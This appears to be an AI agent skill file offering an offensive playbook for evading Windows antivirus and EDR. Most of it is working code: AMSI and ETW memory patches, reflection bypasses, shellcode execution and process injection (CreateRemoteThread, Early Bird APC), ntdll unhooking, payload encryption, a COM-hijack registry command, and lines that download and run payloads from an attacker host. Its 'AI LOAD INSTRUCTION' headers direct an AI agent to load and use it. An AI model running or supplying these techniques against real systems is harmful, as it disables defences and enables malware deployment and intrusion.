Windows Av Evasion

SKILL: AV/EDR Evasion — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert AV/EDR evasion techniques for Windows. Covers AMSI bypass, ETW bypass, .NET assembly loading, shellcode execution, process injection, unhooking, payload encryption, and signature evasion. Base models miss detection-specific bypass chains and syscall-level evasion nuances.

0. RELATED ROUTING

Before going deep, consider loading:

• windows-privilege-escalation when privesc tools are blocked by AV
• windows-lateral-movement when lateral movement tools trigger EDR
• active-directory-kerberos-attacks when Rubeus/Mimikatz are detected
• active-directory-acl-abuse for non-binary AD attacks (less AV-sensitive)

Advanced Reference

Also load AMSI_BYPASS_TECHNIQUES.md when you need:

• Detailed AMSI bypass code patterns (memory patching, reflection)
• PowerShell-specific AMSI bypasses
• .NET AMSI bypass techniques

---

1. AMSI BYPASS OVERVIEW

AMSI (Antimalware Scan Interface) inspects PowerShell, .NET, VBScript, JScript, and Office macros at runtime.

Key AMSI Bypass Categories

Quick AMSI Bypass (One-Liners)

# PowerShell v2 downgrade (if .NET 2.0 available — no AMSI in v2)
powershell -Version 2

# Reflection-based (set amsiInitFailed = true)
# Obfuscated to avoid static detection — see AMSI_BYPASS_TECHNIQUES.md for full patterns

---

2. ETW BYPASS

ETW (Event Tracing for Windows) feeds telemetry to EDR. Patching EtwEventWrite stops .NET assembly load events.

Patch EtwEventWrite

// C# — patch EtwEventWrite to return immediately
var ntdll = GetModuleHandle("ntdll.dll");
var etwAddr = GetProcAddress(ntdll, "EtwEventWrite");
// Write: ret (0xC3) to first byte
VirtualProtect(etwAddr, 1, 0x40, out uint oldProtect);
Marshal.WriteByte(etwAddr, 0xC3);
VirtualProtect(etwAddr, 1, oldProtect, out _);

PowerShell ETW Bypass

# Disable Script Block Logging (ETW provider)
[Reflection.Assembly]::LoadWithPartialName('System.Management.Automation')
# Set internal field to disable ETW tracing

---

3. .NET ASSEMBLY LOADING

In-Memory Assembly.Load

byte[] assemblyBytes = File.ReadAllBytes("tool.exe");
// Or download from URL, decrypt from resource
Assembly assembly = Assembly.Load(assemblyBytes);
assembly.EntryPoint.Invoke(null, new object[] { args });

Donut — Convert .NET Assembly to Shellcode

# Generate shellcode from .NET EXE
donut -f tool.exe -o payload.bin -a 2 -c ToolNamespace.Program -m Main

# With parameters
donut -f Rubeus.exe -o rubeus.bin -a 2 -p "kerberoast /outfile:tgs.txt"

# Then load shellcode via any injection technique (§5)

execute-assembly (C2 Framework)

# Cobalt Strike
execute-assembly /path/to/Rubeus.exe kerberoast

# Sliver
execute-assembly /path/to/SharpHound.exe -c all

# Havoc
dotnet inline-execute /path/to/tool.exe args

---

4. SHELLCODE EXECUTION TECHNIQUES

VirtualAlloc + Callback (Avoids CreateThread)

IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40);
Marshal.Copy(sc, 0, addr, sc.Length);
// Use callback API instead of CreateThread (less monitored)
EnumWindows(addr, IntPtr.Zero);

Callback APIs for shellcode execution: EnumWindows, EnumChildWindows, EnumFonts, EnumDesktops, CertEnumSystemStore, EnumDateFormats — all accept function pointers that can point to shellcode.

---

5. PROCESS INJECTION TECHNIQUES

CreateRemoteThread (Basic Pattern)

IntPtr hProcess = OpenProcess(0x001F0FFF, false, targetPid);
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40);
WriteProcessMemory(hProcess, addr, sc, (uint)sc.Length, out _);
CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);

Early Bird APC Injection

// Create suspended process
STARTUPINFO si = new STARTUPINFO();
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
CreateProcess(null, "C:\\Windows\\System32\\svchost.exe", ..., CREATE_SUSPENDED, ..., ref si, ref pi);

// Allocate and write shellcode
IntPtr addr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40);
WriteProcessMemory(pi.hProcess, addr, sc, (uint)sc.Length, out _);

// Queue APC to main thread (runs before main entry point)
QueueUserAPC(addr, pi.hThread, IntPtr.Zero);
ResumeThread(pi.hThread);

---

6. UNHOOKING — BYPASS EDR API HOOKS

Direct Syscalls (SysWhispers / HellsGate)

EDR hooks ntdll.dll functions. Direct syscalls bypass hooks by invoking the kernel directly.

Normal: User code → ntdll.dll (HOOKED) → kernel
Direct: User code → syscall instruction → kernel (bypasses hook)

Fresh ntdll Copy

// Read clean ntdll.dll from disk
byte[] cleanNtdll = File.ReadAllBytes(@"C:\Windows\System32\ntdll.dll");
// Or from KnownDlls: \KnownDlls\ntdll.dll
// Or from suspended process (create sacrificial process, read its ntdll)

// Overwrite hooked .text section with clean copy
// → All EDR hooks in ntdll are removed

Indirect Syscalls

// Instead of: syscall (in your code — suspicious)
// Do: jump to syscall instruction inside ntdll.dll (legitimate location)
// The ret address on stack points to ntdll.dll, not your code

---

7. PAYLOAD ENCRYPTION & OBFUSCATION

Encryption Methods

// AES encryption (preferred)
using Aes aes = Aes.Create();
aes.Key = key; aes.IV = iv;
byte[] encrypted = aes.CreateEncryptor().TransformFinalBlock(shellcode, 0, shellcode.Length);

// XOR (simple, fast)
for (int i = 0; i < shellcode.Length; i++)
    shellcode[i] ^= key[i % key.Length];

// RC4 (stream cipher, simple implementation)

Sleep Obfuscation

Encrypt shellcode in memory during sleep to avoid memory scanners.

Staged Loading

Stage 1: Small, encrypted loader (evades static analysis)
Stage 2: Download actual payload at runtime (encrypted)
Stage 3: Decrypt in memory → execute

---

8. SIGNATURE EVASION

String Encryption

// Avoid plaintext API names, URLs, tool names
// Use encrypted strings, decrypt at runtime
string decrypted = Decrypt(encryptedApiName);
IntPtr funcPtr = GetProcAddress(GetModuleHandle("kernel32.dll"), decrypted);

API Hashing

// Resolve API by hash instead of name (avoids string detection)
// Hash "VirtualAlloc" → 0x91AFCA54
IntPtr func = GetProcAddressByHash(module, 0x91AFCA54);

Metadata Removal

# Strip .NET metadata
ConfuserEx / .NET Reactor / Obfuscar

# Remove PE metadata (timestamps, rich header, debug info)
# Modify compilation timestamps
# Strip PDB paths

C2 Framework Evasion

---

9. AV/EDR EVASION DECISION TREE

Need to execute tool/payload on protected host
│
├── PowerShell-based payload?
│   ├── AMSI blocking? → AMSI bypass first (§1)
│   │   ├── .NET 2.0 available? → PS v2 downgrade (no AMSI)
│   │   ├── Memory patch AmsiScanBuffer
│   │   └── Reflection-based bypass
│   ├── Script Block Logging? → ETW bypass (§2)
│   └── Constrained Language Mode? → CLM bypass or switch to C#
│
├── .NET assembly (Rubeus, SharpHound, etc.)?
│   ├── Direct execution blocked?
│   │   ├── In-memory Assembly.Load (§3)
│   │   ├── Convert to shellcode with Donut (§3)
│   │   └── Use C2 execute-assembly (§3)
│   └── Still detected?
│       ├── Obfuscate assembly (ConfuserEx)
│       ├── Modify source + recompile
│       └── Use BOFs (Beacon Object Files) if CS
│
├── Shellcode execution needed?
│   ├── Basic → VirtualAlloc + callback (§4)
│   ├── Need injection → choose technique by OPSEC (§5)
│   │   ├── Low detection needed → module stomping or phantom DLL
│   │   ├── Medium → early bird APC or NtMapViewOfSection
│   │   └── Quick and dirty → CreateRemoteThread
│   └── Memory scanners detect payload?
│       ├── Encrypt payload → decrypt only at execution (§7)
│       └── Sleep obfuscation (Ekko/Foliage) (§7)
│
├── EDR hooking ntdll.dll?
│   ├── Direct syscalls (SysWhispers3/HellsGate) (§6)
│   ├── Fresh ntdll copy from disk/KnownDlls (§6)
│   └── Indirect syscalls (return to ntdll instruction) (§6)
│
├── Signature detection?
│   ├── Known tool signature → modify + recompile
│   ├── String-based → string encryption / API hashing (§8)
│   ├── PE metadata → strip/modify (§8)
│   └── Behavioral → change execution flow, add junk code
│
└── All local evasion fails?
    ├── Use Living-off-the-Land (LOLBins): certutil, mshta, regsvr32
    ├── Use legitimate admin tools (PsExec, WMI, WinRM)
    └── Switch to fileless / memory-only techniques

AMSI Bypass Techniques — Detailed Patterns

AI LOAD INSTRUCTION: Load this for detailed AMSI bypass code patterns, PowerShell-specific bypasses, .NET AMSI bypass, and Constrained Language Mode escape. Assumes the main SKILL.md is already loaded for general AV/EDR evasion concepts.

---

1. AMSI ARCHITECTURE

PowerShell / .NET / VBScript / JScript
        │
        ▼
    amsi.dll (loaded in process)
        │
        ├── AmsiInitialize()    → Create AMSI context
        ├── AmsiOpenSession()   → Open scan session
        ├── AmsiScanBuffer()    → Scan content ← PRIMARY TARGET
        ├── AmsiScanString()    → Scan string
        └── AmsiCloseSession()  → Close session
        │
        ▼
    AV Engine (Windows Defender / third-party)
        │
        ▼
    AMSI_RESULT (Clean / Malware / Not Detected)

Key insight: Patching AmsiScanBuffer to always return "clean" bypasses all AMSI-enabled scanning.

---

2. MEMORY PATCHING — AmsiScanBuffer

Concept

Overwrite the first bytes of AmsiScanBuffer so it returns AMSI_RESULT_CLEAN (0) immediately.

PowerShell Implementation (Obfuscated)

# Base pattern — variable names must be randomized per use
$a = [Ref].Assembly.GetTypes() | ? { $_.Name -like "*siUtils" }
$b = $a.GetFields('NonPublic,Static') | ? { $_.Name -like "*Context" }
# ... patching logic varies by implementation

# The actual patch writes bytes to AmsiScanBuffer:
# x64: mov eax, 0x80070057 (E_INVALIDARG); ret
# Bytes: B8 57 00 07 80 C3

C# Implementation

// Get amsi.dll handle and AmsiScanBuffer address
IntPtr amsiDll = LoadLibrary("amsi.dll");
IntPtr amsiScanBufferAddr = GetProcAddress(amsiDll, "AmsiScanBuffer");

// Change memory protection to writable
VirtualProtect(amsiScanBufferAddr, (UIntPtr)6, 0x40, out uint oldProtect);

// Patch: mov eax, 0x80070057; ret (returns E_INVALIDARG)
byte[] patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
Marshal.Copy(patch, 0, amsiScanBufferAddr, patch.Length);

// Restore protection
VirtualProtect(amsiScanBufferAddr, (UIntPtr)6, oldProtect, out _);

Obfuscation Techniques for the Patch

# Avoid string "AmsiScanBuffer" (itself flagged):

# XOR obfuscation
$xorKey = 0x42
$encBytes = [byte[]]@(0x23,0x2F,0x31,...) # XOR-encrypted function name

# Base64 split
$p1 = "Am"; $p2 = "si"; $p3 = "Sc"; $p4 = "anBuf"; $p5 = "fer"
$funcName = "$p1$p2$p3$p4$p5"

# Reverse string
$rev = "reffuBnacSimA"
$funcName = -join ($rev[-1..-($rev.Length)])

---

3. REFLECTION-BASED BYPASS

Set amsiInitFailed

# Force AMSI initialization failure via reflection
# The field name and class are obfuscated because they're flagged
$t = [Ref].Assembly.GetType(('System.Management.Automation.{0}' -f ('Am','siUtils' -join '')))
$f = $t.GetField(('am','siIn','itFailed' -join ''), 'NonPublic,Static')
$f.SetValue($null, $true)
# All subsequent AMSI scans skip (init "already failed")

Disable AMSI via Session State

# Remove AMSI providers from session
$utils = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$field = $utils.GetField('amsiSession', 'NonPublic,Static')
$session = $field.GetValue($null)
# Nullify session → AMSI has no active session to scan with

---

4. POWERSHELL-SPECIFIC BYPASSES

PowerShell v2 Downgrade

# If .NET Framework 2.0/3.5 is installed, PS v2 has no AMSI
powershell -Version 2 -Command "IEX (New-Object Net.WebClient).DownloadString('http://attacker/payload.ps1')"

# Check if v2 is available
reg query "HKLM\SOFTWARE\Microsoft\NET Framework Setup\NDP\v2.0.50727"

PowerShell Runspace (Bypass Script Block Logging + AMSI)

// C# — create PowerShell runspace without AMSI
using System.Management.Automation;
using System.Management.Automation.Runspaces;

Runspace rs = RunspaceFactory.CreateRunspace();
rs.Open();
// Patch AMSI in this runspace
PowerShell ps = PowerShell.Create();
ps.Runspace = rs;
ps.AddScript("whoami");
var results = ps.Invoke();

Constrained Language Mode Bypass

# Check current language mode
$ExecutionContext.SessionState.LanguageMode

# Bypass 1: PowerShell v2 (no CLM in v2)
powershell -Version 2

# Bypass 2: Run from unmanaged code (C++/C# loader)
# CLM is enforced per-process; unmanaged loader can create unrestricted runspace

# Bypass 3: WDAC/AppLocker misconfiguration
# Find writable directory in allowed path → execute from there

---

5. .NET AMSI BYPASS

In-Assembly Bypass (Before Tool Execution)

// Patch AmsiScanBuffer before loading the target .NET tool
static void PatchAmsi()
{
    IntPtr lib = LoadLibrary("amsi.dll");
    IntPtr addr = GetProcAddress(lib, "AmsiScanBuffer");

    uint oldProtect;
    VirtualProtect(addr, (UIntPtr)6, 0x40, out oldProtect);

    // mov eax, 0x80070057 (E_INVALIDARG); ret
    Marshal.Copy(new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }, 0, addr, 6);

    VirtualProtect(addr, (UIntPtr)6, oldProtect, out _);
}

// Call PatchAmsi() before Assembly.Load() of the target tool
PatchAmsi();
byte[] toolBytes = DownloadAndDecrypt("https://attacker/tool.enc");
Assembly.Load(toolBytes).EntryPoint.Invoke(null, new object[] { args });

VBScript/JScript AMSI Bypass

' VBScript — WScript.Shell execution (AMSI may not cover all code paths)
Set shell = CreateObject("WScript.Shell")
shell.Run "cmd.exe /c whoami", 0, True

Office Macro AMSI Bypass

' VBA macros are scanned by AMSI in Office 365+
' Bypass: use Win32 API directly (VirtualAlloc + RtlMoveMemory + CreateThread)
' AMSI scans the VBA source, not the API calls at runtime

Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (...)
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (...)
Private Declare PtrSafe Function CreateThread Lib "kernel32" (...)

---

6. COM-BASED AMSI BYPASS

AMSI COM Server Hijack

AMSI uses a COM object (CLSID {fdb00e52-a214-4aa1-8fba-4357bb0072ec}). Redirecting it disables AMSI.

# Create registry redirect (per-user, no admin needed)
reg add "HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32" /ve /d "C:\temp\fake_amsi.dll" /f

# fake_amsi.dll exports AmsiScanBuffer returning S_OK + AMSI_RESULT_CLEAN

---

7. HARDWARE BREAKPOINT BYPASS

Use hardware breakpoints to intercept AmsiScanBuffer without modifying memory.

// Set hardware breakpoint on AmsiScanBuffer
// When hit: exception handler modifies return value to AMSI_RESULT_CLEAN
// Advantage: no memory modification → bypasses integrity checks

CONTEXT ctx = new CONTEXT { ContextFlags = CONTEXT_DEBUG_REGISTERS };
ctx.Dr0 = (ulong)amsiScanBufferAddr;  // Break address
ctx.Dr7 = 0x00000001;                  // Enable DR0
SetThreadContext(hThread, ref ctx);

// Vectored Exception Handler modifies RAX (return value) to 0
AddVectoredExceptionHandler(1, ExceptionHandler);

Advantage: No code patching, passes memory integrity checks used by some EDRs.

---

8. AMSI BYPASS DECISION TREE

Need to bypass AMSI
│
├── PowerShell payload?
│   ├── .NET 2.0 available?
│   │   └── PS v2 downgrade (simplest, no AMSI in v2) (§4)
│   ├── Can run C# loader?
│   │   └── Patch AmsiScanBuffer from C# before PS (§2)
│   ├── Pure PowerShell bypass needed?
│   │   ├── Reflection: set amsiInitFailed (§3)
│   │   ├── Memory patch AmsiScanBuffer (§2)
│   │   └── Obfuscate all trigger strings
│   └── Bypass detected by AV?
│       ├── Hardware breakpoint method (§7)
│       └── COM server hijack (§6)
│
├── .NET assembly (C# tool)?
│   ├── AMSI scanning Assembly.Load?
│   │   ├── Patch AMSI before load (§5)
│   │   ├── ETW bypass to hide load event
│   │   └── Convert to shellcode via Donut (avoid .NET AMSI entirely)
│   └── CLM blocking execution?
│       ├── PS v2 downgrade (§4)
│       └── Unmanaged loader (C++/C# P/Invoke)
│
├── VBScript / JScript?
│   ├── AMSI scans script content → obfuscate heavily
│   └── Use WScript.Shell for execution (less AMSI coverage)
│
├── Office Macro?
│   ├── VBA AMSI bypass: use Win32 API directly (§5)
│   └── Obfuscate macro source code
│
├── Multiple AMSI bypasses chained?
│   └── 1. Obfuscate strings → 2. Patch AMSI → 3. Load payload
│       (each layer adds resilience)
│
└── EDR detects the bypass itself?
    ├── Vary bypass method per engagement
    ├── Use hardware breakpoints (no memory modification) (§7)
    ├── Custom-develop bypass (modify known patterns)
    └── Consider fileless Living-off-the-Land approach instead